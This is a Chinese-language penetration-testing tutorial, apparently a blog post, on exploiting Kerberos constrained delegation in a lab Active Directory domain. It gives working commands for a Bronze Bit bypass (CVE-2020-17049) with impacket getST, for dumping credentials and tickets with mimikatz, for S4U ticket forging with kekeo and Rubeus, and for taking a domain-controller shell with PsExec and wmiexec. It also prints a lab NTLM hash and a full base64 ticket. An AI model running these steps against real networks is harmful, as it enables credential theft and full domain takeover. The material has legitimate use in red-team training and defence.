非约束委派与约束委派的利用区别简介
之前我写过一篇非约束委派利用的文章,非约束委派其实就是拿到委派的机器权限,
诱导或者有过域管请求过非约束委派的机器而将自身的TGT票据缓存到委派机器的Lsass
进程中,主要是拿到TGT进行横向移动,约束委派相较于非约束委派就要安全很多了,他不会将
TGT缓存到委派机器上,而是转发ST服务票据因此要利用约束委派就需要该委派配置了到域控的
cifs服务才行。
配置约束委派
约束委派有两种:
1.仅使用Kerberos也就是不能进行协议转换(使用CVE-2020-17049 Kerberos Bronze Bit利用)。
2.使用任何身份验证协议,可以进行协议转换(常规利用即可)。
![在这里插入图片描述](https://img-blog.csdnimg.cn/285f20051594409c872aaec0b652432d.png)
相较于非约束委派,约束委派必须配置相应的服务,且只能模拟委派账号访问特定配置好的
服务,下面进行配置到域控的CIFS服务。
1.查看域控机器名称
![在这里插入图片描述](https://img-blog.csdnimg.cn/431987718e5648589f55becc3e428739.png)
2.添加域控的cifs服务
![在这里插入图片描述](https://img-blog.csdnimg.cn/6a8600d230494a7397b38f8adec6ba4c.png)
使用Adfind查询配置了约束委派的信息
查询约束委派(配置约束委派的主机,并可以看到被委派的SPN)
Adfind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
查询约束委派(配置约束委派的服务账号,并可以看到被委派的SPN)
Adfind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
可以看到USER-TEST机器账号配置了域控cifs的SPN具有可以利用的约束委派点。
![在这里插入图片描述](https://img-blog.csdnimg.cn/3ee33549f2894e609080d57e0e9cb352.png)
仅使用Kerberos的约束委派利用(利用CVE-2020-17049 Kerberos Bronze Bit)
因为委派攻击的危害性,因此微软官方提供了多种配置来降低委派攻击的危害。首先可以通过禁止协议转换
仅使用Kerberos协议(即关闭TrustedToAuthForDelegation属性),其次是可以在AD中配置域内账户为“敏感账户,
不能被委派”CVE-2020-17049可以绕过此限制。
需要的工具:
最新版本的impacket下的GetST.py脚本
环境配置:
![在这里插入图片描述](https://img-blog.csdnimg.cn/85cb3e102ed240268232e295d475252a.png)
就算配置了敏感账号也可以绕过。
![在这里插入图片描述](https://img-blog.csdnimg.cn/643278a9d61b477995c57e374d1dd23b.png)
默认命令:
python3 getST.py -dc-ip 192.168.126.66 -spn cifs/WIN-CRJVMOIER7V.test.com -impersonate administrator test.com/WIN10YSWP$ -hashes :73ab588d404a01f7a3e74106d8f93440
可以发现生成失败了因为配置的了仅使用Kerberos
![在这里插入图片描述](https://img-blog.csdnimg.cn/3a78b14cbd414b7486cf16eca7fe7349.png)
利用CVE-2020-17049 Kerberos Bronze Bit 绕过
命令(加上-force-forwardable即可自动进行该漏洞利用):
python3 getST.py -dc-ip 192.168.126.66 -spn cifs/WIN-CRJVMOIER7V.test.com -impersonate administrator test.com/WIN10YSWP$ -hashes :73ab588d404a01f7a3e74106d8f93440 -force-forwardable
![在这里插入图片描述](https://img-blog.csdnimg.cn/a86b1cc90f48444c9d99a0e326583f88.png)
成功绕过拿到票据。
使用mimikatz注入票据
mimikatz.exe "kerberos::ptc administrator.ccache" exit
![在这里插入图片描述](https://img-blog.csdnimg.cn/e6f12898862a49faad37cd753af0d46f.png)
使用微软的PsExec64.exe拿到域控shell
命令:
PsExec64.exe \\WIN-CRJVMOIER7V.test.com\ powershell.exe
![在这里插入图片描述](https://img-blog.csdnimg.cn/3da8850d8dfe4e69b44a771b3281bdbc.png)
利用方式1(使用任何身份验证协议:使用机器账户的票据+kekeo票据请求TGS)
需要的工具:
mimikatz.exe
kekeo.exe
导出TGT票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
![在这里插入图片描述](https://img-blog.csdnimg.cn/b19275ae377846dfa25ddc45e571f3bb.png)
申请服务票据
krbtgt可以看成是TGT票据,之后使用USER-TEST机器账号TGT请求 CIFS TGS服务票据,
模拟Administrator域管权限
kekeo.exe tgs::s4u /tgt:[0;3e4]-2-0-60a10000-WIN10YSWP$@krbtgt-TEST.COM.kirbi /user:Administrator@test.com /service:cifs/WIN-CRJVMOIER7V.test.com
![在这里插入图片描述](https://img-blog.csdnimg.cn/77ccdd06c3a34642ab4783dcbde96d5c.png)
导入票据
导入TGS_Administrator@test.com@TEST.COM_cifs~WIN-CRJVMOIER7V.test.com@TEST.COM.kirbi票据。
需要注意:如果域账号是敏感账号则不能进行委派则拿不到ST,如果委派模式是仅使用Kerberos也就是不能进
行协议转换也不能够拿到上述的票据只会返回一个票据。
mimikatz.exe "kerberos::ptt TGS_Administrator@test.com@TEST.COM_cifs~WIN-CRJVMOIER7V.test.com@TEST.COM.kirbi" "exit"
![在这里插入图片描述](https://img-blog.csdnimg.cn/4a7f5a4bce054cdeb3d4eb8da89f000e.png)
直接dir
dir \\WIN-CRJVMOIER7V.test.com\C$
![在这里插入图片描述](https://img-blog.csdnimg.cn/cbb8fa74d7ad442d8e4ca1570c93dfec.png)
使用微软的PsExec64.exe拿到域控shell
命令:
PsExec64.exe \\WIN-CRJVMOIER7V.test.com\ powershell.exe
![在这里插入图片描述](https://img-blog.csdnimg.cn/025fb63a0c2a47c3aecd321cd9adff0f.png)
利用方式2(使用任何身份验证协议:机器账户的Hash值+Rubeus)
导出机器NTLM Hash
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
73ab588d404a01f7a3e74106d8f93440
![在这里插入图片描述](https://img-blog.csdnimg.cn/d442c6c0525a4ca381f3d8d8d1152fa6.png)
使用Rubeus申请配置了约束委派机器账户WIN10YSWP$的TGT
Rubeus.exe asktgt /user:WIN10YSWP$ /rc4:73ab588d404a01f7a3e74106d8f93440 /domain:test.com /dc:WIN-CRJVMOIER7V.test.com /nowrap
![在这里插入图片描述](https://img-blog.csdnimg.cn/a99afc1254cc4649bfbb89f93e8a1ce5.png)
使用Rubeus申请域管理员Administrator凭据,并注入内存。
需要注意:
Administrator不能是敏感账号,敏感账号不能被委派。
必须是使用任何身份验证协议的约束委派。
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/WIN-CRJVMOIER7V.test.com /dc:WIN-CRJVMOIER7V.test.com /ptt /ticket:doIE5jCCBOKgAwIBBaEDAgEWooIEBTCCBAFhggP9MIID+aADAgEFoQobCFRFU1QuQ09Noh0wG6ADAgECoRQwEhsGa3JidGd0Gwh0ZXN0LmNvbaOCA8UwggPBoAMCARKhAwIBAqKCA7MEggOvXulBV9+rW8DuK2x27zfDJgNj+bUJEwMynFG/WoZ7dRtRv86cbyt5bKQDnWS5d1lozj+eYkJkCDheff1WowKPC1KOOMooafPY72MsvBGr0UIV29nXyL+h1LgHJSSSzq55R6XbCnVvC7o6UNQuOTL+zbG9JJ/mu/2+DTTwzXudvelYgeALr0vHi7t+6HjfUNtJz/jqqxVKTtNS15x9fd+FpbCzvZwZm9V4jf/nRkR8M1xhtzBXexhfWpjV0PQ2jgPaQo7Wyq3w/YsFJmE083zkojY4Gou9wSF/iPxq4U8ZbGapTM12UrtSPZrGeeg35NEAy62AsdOfy+ltLTqNjstwR/ZTlRO+2hBEzApbzBB5y7kssT4IVrqRqi8NASBWBW0NCpycI8CJy876ZtP2/REMBOUH7N7NupKa0T93jSxeTFYalG/Tx8CUndD7u1jT5EOnutKcgaP2zYGSxJRqPt+unuLE9EL/PtTcWTQ/zApRMPHtuIjMqa3YYTkkYkG3HlyCKLzv5WczhHE+phJRD4mEpFVuI7UQiOgewU0xSNA3PLr9qofHlBrCIlYmpb3LALiRq5kTVvk6tXrmfA4RtJyjzmEoEuvAwTclsJzmlXk5VyqfU8ofQGFXAE+nyuVzdmlYOmeWITc5Ucp1P0EiKrAgmrbKEt2RmVXMy0CB/p5tSGyyOrKEf1DZ7q+roVhBBZrulnHmR9KAg5vsqwAyuJaGYWL2cVa1U29vUW7Gl/2jR2jWlgXLcApCUq6lfRMMHb5AfSgopQyqk2ZiF5Pd6Ib4f0jJiMrhWp+8SczPTqXMsCW9iJS4Y+UuX+TwDFAqytYWUzqw6FDmtPahiwh/rydu0yisLcGO+oy9pts6Fl0U1bQRS/CTCF+u4VVm3DSmu8ispLF4DwTWzLFDKhKkPJ4k4zrUFa8fJW26vA1k1UaS8IKJA/x5H/uYFu+feR+Bqh3/XUBAoAThIuA5qWa/Nxtg5RXtme7wbrFa7Be0pyG4M6WxdqeyAat3PHtgDbznJUbaPe9/Ana3EPywQKHZrMjgGbHAT6jQnyUTPKWO3+Rsj06UHKy4vxrNgyJsQFGHFfWa987xMPdrsxXLHqoo7MFdLImKd92IEAtVxp7GJfQT0ngbvDuVlbNag2s6OpgU8K6oK9pR+MUotztk0wy7BXO8Ssip7kXbI6dRKSjkhlQ7a4wQXE6efvD49RTHjbKWjB78hh9VkeE1vEzZKv57c55aqZnBaBuLOYgWNuGv74Kfn6OBzDCByaADAgEAooHBBIG+fYG7MIG4oIG1MIGyMIGvoBswGaADAgEXoRIEEDQX0P2CzT4EMxKlPXQHkFahChsIVEVTVC5DT02iFzAVoAMCAQGhDjAMGwpXSU4xMFlTV1AkowcDBQBA4QAApREYDzIwMjMwMjIzMDg1MTIzWqYRGA8yMDIzMDIyMzE4NTEyM1qnERgPMjAyMzAzMDIwODUxMjNaqAobCFRFU1QuQ09NqR0wG6ADAgECoRQwEhsGa3JidGd0Gwh0ZXN0LmNvbQ==
![在这里插入图片描述](https://img-blog.csdnimg.cn/b90f53c9f4094f5c9f006506a3a1d94f.png)
dir \\WIN-CRJVMOIER7V.test.com\c$
![在这里插入图片描述](https://img-blog.csdnimg.cn/fac6df2643934bcc821972168d512267.png)
使用微软的PsExec64.exe拿到域控shell
命令:
PsExec64.exe \\WIN-CRJVMOIER7V.test.com\ powershell.exe
![在这里插入图片描述](https://img-blog.csdnimg.cn/7ba502fc34064256acb805b9f4c25cc2.png)
利用方式3(使用任何身份验证协议:Impacket工具使用机器账户的Hash值 | getST)
mimikatz获取机器账户NTLM Hash值
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
73ab588d404a01f7a3e74106d8f93440
![在这里插入图片描述](https://img-blog.csdnimg.cn/d442c6c0525a4ca381f3d8d8d1152fa6.png)
使用getST申请服务票据
python3 getST.py -dc-ip 192.168.126.66 -spn cifs/WIN-CRJVMOIER7V.test.com -impersonate administrator test.com/WIN10YSWP$ -hashes :73ab588d404a01f7a3e74106d8f93440
![在这里插入图片描述](https://img-blog.csdnimg.cn/a506a7f0d86d4553ad0ce54885e25fb8.png)
KRB5CCNAME=administrator.ccache 导入票据
使用wmiexec登录域控
wmiexec.py -k test.com/administrator@WIN-CRJVMOIER7V.test.com -no-pass -dc-ip 192.168.126.66
登录失败因为kali没有在域内需要一个域内的机器代理
![在这里插入图片描述](https://img-blog.csdnimg.cn/68cddc828a7a4e4eacaa80cc2525a338.png)